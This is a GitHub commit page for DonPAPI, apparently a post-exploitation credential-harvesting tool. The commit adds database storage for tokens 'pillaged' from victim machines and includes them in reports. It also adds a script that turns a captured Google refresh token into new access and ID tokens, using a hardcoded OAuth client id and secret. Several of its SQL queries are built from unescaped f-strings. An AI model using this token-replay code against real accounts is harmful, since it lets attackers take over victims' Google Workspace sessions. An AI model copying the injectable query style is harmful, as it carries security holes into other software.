Skip to content

Commit 3e08e7b

Browse files
author
Pierre-Alexandre Vandewoestyne
committed
Refresh Token & a lot of bugfixes
1 parent 9d5f451 commit 3e08e7b

File tree

9 files changed

+628
-154
lines changed

9 files changed

+628
-154
lines changed

donpapi/database.py

Lines changed: 154 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -35,6 +35,30 @@ def get_credz(self, filterTerm=None, credz_type=None):
3535
results = cur.fetchall()
3636
return results
3737

38+
def get_token(self, filterTerm=None, credz_type=None):
39+
"""
40+
Return credentials from the database.
41+
"""
42+
if credz_type:
43+
with self.conn:
44+
cur = self.conn.cursor()
45+
cur.execute(f"SELECT * FROM token WHERE type='{credz_type}'")
46+
47+
# if we're filtering by username
48+
elif filterTerm and filterTerm != '':
49+
with self.conn:
50+
cur = self.conn.cursor()
51+
cur.execute("SELECT * FROM users WHERE LOWER(username) LIKE LOWER(?)", ['%{}%'.format(filterTerm)])
52+
53+
# otherwise return all credentials
54+
else:
55+
with self.conn:
56+
cur = self.conn.cursor()
57+
cur.execute("SELECT * FROM token")
58+
59+
results = cur.fetchall()
60+
return results
61+
3862
@staticmethod
3963
def db_schema(db_conn):
4064
db_conn.execute('''CREATE TABLE "computers" (
@@ -89,6 +113,19 @@ def db_schema(db_conn):
89113
FOREIGN KEY(pillaged_from_userid) REFERENCES users(id)
90114
)''')
91115

116+
db_conn.execute('''CREATE TABLE "token" (
117+
"id" integer PRIMARY KEY,
118+
"file_path" text,
119+
"username" text,
120+
"password" text,
121+
"target" text,
122+
"type" text,
123+
"pillaged_from_computerid" integer,
124+
"pillaged_from_userid" integer,
125+
FOREIGN KEY(pillaged_from_computerid) REFERENCES computers(id),
126+
FOREIGN KEY(pillaged_from_userid) REFERENCES users(id)
127+
)''')
128+
92129
db_conn.execute('''CREATE TABLE "certificates" (
93130
"id" integer PRIMARY KEY,
94131
"pfx_file_path" text,
@@ -788,6 +825,123 @@ def add_credz(self, credz_type, credz_username, credz_password, credz_target, cr
788825

789826
return None
790827

828+
def add_token(self, credz_type, credz_username, credz_password, credz_target, credz_path, pillaged_from_computerid=None,
829+
pillaged_from_userid=None, pillaged_from_computer_ip=None, pillaged_from_username=None):
830+
"""
831+
Check if this credential has already been added to the database, if not add it in.
832+
"""
833+
user_rowid = None
834+
try:
835+
credz_username = self.clear_input(credz_username)
836+
credz_password = self.clear_input(credz_password)
837+
credz_target = self.clear_input(credz_target)
838+
credz_path = self.clear_input(credz_path)
839+
self.logging.debug(f"{credz_username} - {binascii.hexlify(credz_username.encode('utf-8'))}")
840+
self.logging.debug(f"{credz_password} - {binascii.hexlify(credz_password.encode('utf-8'))}")
841+
self.logging.debug(f"{credz_target} - {binascii.hexlify(credz_target.encode('utf-8'))}")
842+
self.logging.debug(f"{credz_path} - {binascii.hexlify(credz_path.encode('utf-8'))}")
843+
self.logging.debug(
844+
f"pillaged_from_computer_ip {pillaged_from_computer_ip} - {binascii.hexlify(pillaged_from_computer_ip.encode('utf-8'))}")
845+
self.logging.debug(f"pillaged_from_username {pillaged_from_username}")
846+
847+
if pillaged_from_computer_ip != None:
848+
with self.conn:
849+
cur = self.conn.cursor()
850+
cur.execute(f"SELECT * FROM computers WHERE LOWER(ip)=LOWER('{pillaged_from_computer_ip}')")
851+
results = cur.fetchall()
852+
if len(results) > 0:
853+
result = results[0]
854+
pillaged_from_computerid = result[0]
855+
self.logging.debug(f"[+] Resolved {pillaged_from_computer_ip} to id : {pillaged_from_computerid}")
856+
except Exception as ex:
857+
self.logging.error(f"Exception in add_token 1")
858+
self.logging.debug(ex)
859+
860+
try:
861+
if pillaged_from_username != None:
862+
with self.conn:
863+
cur = self.conn.cursor()
864+
cur.execute(
865+
f"SELECT * FROM users WHERE LOWER(username)=LOWER('{pillaged_from_username}') AND pillaged_from_computerid={pillaged_from_computerid}")
866+
results = cur.fetchall()
867+
if len(results) > 0:
868+
result = results[0]
869+
pillaged_from_userid = result[0]
870+
self.logging.debug(
871+
f"[+] Resolved {pillaged_from_username} on machine {pillaged_from_computerid} to id : {pillaged_from_userid}")
872+
except Exception as ex:
873+
self.logging.error(f"Exception in add_token 2")
874+
self.logging.debug(ex)
875+
pass
876+
if pillaged_from_computerid == None or pillaged_from_userid == None:
877+
self.logging.debug(
878+
f"[-] Missing computerId or UserId to register token {credz_username} {credz_password} - {credz_target}")
879+
# return None
880+
try:
881+
if pillaged_from_userid == None:
882+
query = "SELECT * FROM token WHERE LOWER(username)=LOWER(:credz_username) AND LOWER(password)=LOWER(:credz_password) AND LOWER(type)=LOWER(:credz_type) AND LOWER(target)=LOWER(:credz_target) AND pillaged_from_computerid=:pillaged_from_computerid"
883+
parameters = {
884+
"credz_username": credz_username,
885+
"credz_password": credz_password,
886+
"credz_type": credz_type, "credz_target": credz_target,
887+
"pillaged_from_computerid": int(pillaged_from_computerid),
888+
}
889+
else:
890+
query = "SELECT * FROM token WHERE LOWER(username)=LOWER(:credz_username) AND LOWER(password)=LOWER(:credz_password) AND LOWER(type)=LOWER(:credz_type) AND LOWER(target)=LOWER(:credz_target) AND pillaged_from_computerid=:pillaged_from_computerid AND pillaged_from_userid=:pillaged_from_userid"
891+
parameters = {
892+
"credz_username": credz_username,
893+
"credz_password": credz_password,
894+
"credz_type": credz_type, "credz_target": credz_target,
895+
"pillaged_from_computerid": int(pillaged_from_computerid),
896+
"pillaged_from_userid": int(pillaged_from_userid)
897+
}
898+
self.logging.debug(query)
899+
with self.conn:
900+
cur = self.conn.cursor()
901+
cur.execute(query, parameters)
902+
results = cur.fetchall()
903+
except Exception as ex:
904+
self.logging.error(f"Exception in add_token 3")
905+
self.logging.debug(ex)
906+
try:
907+
if not len(results):
908+
if pillaged_from_userid == None:
909+
query = " INSERT INTO token (username, password, target, type, pillaged_from_computerid, file_path) VALUES (:credz_username, :credz_password, :credz_target, :credz_type, :pillaged_from_computerid, :credz_path)"
910+
parameters = {
911+
"credz_username": credz_username,
912+
"credz_password": credz_password,
913+
"credz_target": credz_target,
914+
"credz_type": credz_type,
915+
"pillaged_from_computerid": int(pillaged_from_computerid),
916+
"credz_path": credz_path,
917+
}
918+
else:
919+
query = "INSERT INTO token (username, password, target, type, pillaged_from_computerid,pillaged_from_userid, file_path) VALUES (:credz_username, :credz_password, :credz_target, :credz_type, :pillaged_from_computerid, :pillaged_from_userid, :credz_path)"
920+
parameters = {
921+
"credz_username": credz_username,
922+
"credz_password": credz_password,
923+
"credz_type": credz_type,
924+
"credz_target": credz_target,
925+
"pillaged_from_computerid": int(pillaged_from_computerid),
926+
"pillaged_from_userid": int(pillaged_from_userid),
927+
"credz_path": credz_path,
928+
}
929+
self.logging.debug(query)
930+
with self.conn:
931+
cur = self.conn.cursor()
932+
cur.execute(query, parameters)
933+
user_rowid = cur.lastrowid
934+
self.logging.debug(
935+
f'added_token(credtype={credz_type}, target={credz_target}, username={credz_username}, password={credz_password}) => {user_rowid}')
936+
else:
937+
self.logging.debug(
938+
f'added_token(credtype={credz_type}, target={credz_target}, username={credz_username}, password={credz_password}) => ALREADY IN DB')
939+
940+
except Exception as ex:
941+
self.logging.error(f"Exception in add_token 4")
942+
self.logging.debug(ex)
943+
944+
return None
791945

792946
def add_cookies(self, credz_type, credz_name, credz_value, credz_expires_utc, credz_target, credz_path,
793947
pillaged_from_computerid=None, pillaged_from_userid=None, pillaged_from_computer_ip=None,

donpapi/entry.py

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -89,7 +89,7 @@ def main():
8989
group.add_argument('-port', choices=['135', '139', '445'], nargs='?', default='445', metavar="destination port", help='Destination port to connect to SMB Server')
9090

9191
group = parser.add_argument_group('Reporting')
92-
group.add_argument('-R', '--report', action="store_true", help='Only Generate Report on the scope', default=False)
92+
group.add_argument('-R', '--report', action="store_true", help='Only Generate Report on the scope', default=True)
9393
group.add_argument('--type', action="store", help='only report "type" password (wifi,credential-blob,browser-internet_explorer,LSA,SAM,taskscheduler,VNC,browser-chrome,browser-firefox')
9494
group.add_argument('-u','--user', action="store_true", help='only this username')
9595
group.add_argument('--target', action="store_true", help='only this target (url/IP...)')
@@ -216,11 +216,11 @@ def main():
216216
report_content=['credz', 'hash_reuse'],
217217
credz_content=['taskscheduler', 'LSA'])
218218
my_report.generate_report(report_name='most_important_credentials',
219-
report_content=['credz'],
219+
report_content=['credz','token'],
220220
credz_content=['wifi', 'taskscheduler', 'credential-blob',
221221
'browser', 'sysadmin', 'LSA'])
222222
my_report.generate_report(report_name='cookies',
223-
report_content=['cookies'],
223+
report_content=['cookies','token'],
224224
credz_content=[''])
225225
# Main report
226226
my_report.generate_report(report_name='full_report')
@@ -229,6 +229,7 @@ def main():
229229
my_report.export_credz()
230230
my_report.export_sam()
231231
my_report.export_cookies()
232+
my_report.export_lsa()
232233
if options.GetHashes:
233234
my_report.export_mkf_hashes()
234235
my_report.export_dcc2_hashes()
Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
'''
2+
// Call refreshToken which creates a new Access Token
3+
access_token = refreshToken(client_id, client_secret, refresh_token)
4+
5+
// Pass the new Access Token to Credentials() to create new credentials
6+
credentials = google.oauth2.credentials.Credentials(access_token)
7+
8+
// This function creates a new Access Token using the Refresh Token
9+
// and also refreshes the ID Token (see comment below).
10+
'''
11+
import argparse
12+
import sys
13+
import requests
14+
15+
def refreshToken(client_id, client_secret, refresh_token):
16+
params = {
17+
"grant_type": "refresh_token",
18+
"client_id": client_id,
19+
"client_secret": client_secret,
20+
"refresh_token": refresh_token
21+
}
22+
23+
authorization_url = "https://oauth2.googleapis.com/token"
24+
25+
r = requests.post(authorization_url, data=params)
26+
27+
if r.ok:
28+
return r.json()['access_token']
29+
else:
30+
return None
31+
32+
def refreshToken2(client_id, client_secret, refresh_token):
33+
params = {
34+
"grant_type": "refresh_token",
35+
"client_id": client_id,
36+
"client_secret": client_secret,
37+
"refresh_token": refresh_token
38+
}
39+
40+
authorization_url = "https://www.googleapis.com/oauth2/v4/token"
41+
42+
r = requests.post(authorization_url, data=params)
43+
print(r.content)
44+
if r.ok:
45+
print(f"access_token:{r.json()['access_token']}")
46+
print(f"scope:{r.json()['scope']}")
47+
print(f"id_token:{r.json()['id_token']}")
48+
return r.json()['access_token']
49+
else:
50+
return None
51+
52+
def get_decryption_key():
53+
#https://devicepasswordescrowforwindows-pa.googleapis.com/v1/getprivatekey/<resource_id >
54+
#Todo
55+
#https://www.bitdefender.com/blog/businessinsights/the-chain-reaction-new-methods-for-extending-local-breaches-in-google-workspace/
56+
return 1
57+
58+
59+
def main():
60+
61+
parser = argparse.ArgumentParser(add_help = True, description = "Get Google Service Token")
62+
63+
parser.add_argument('-d','--debug', action='store_true', help='Turn DEBUG output ON')
64+
parser.add_argument('-t', '--token', help='token')
65+
66+
if len(sys.argv)==1:
67+
parser.print_help()
68+
sys.exit(1)
69+
70+
options = parser.parse_args()
71+
client_id = '77185425430.apps.googleusercontent.com'
72+
client_secret = 'OTJgUOQcT7lO7GsGZq2G4IlT'
73+
refresh_token = options.token
74+
rt=refreshToken2(client_id, client_secret, refresh_token)
75+
print(f'{rt}')
76+
return rt
77+
78+
79+
if __name__ == "__main__":
80+
main()

0 commit comments

Comments
 (0)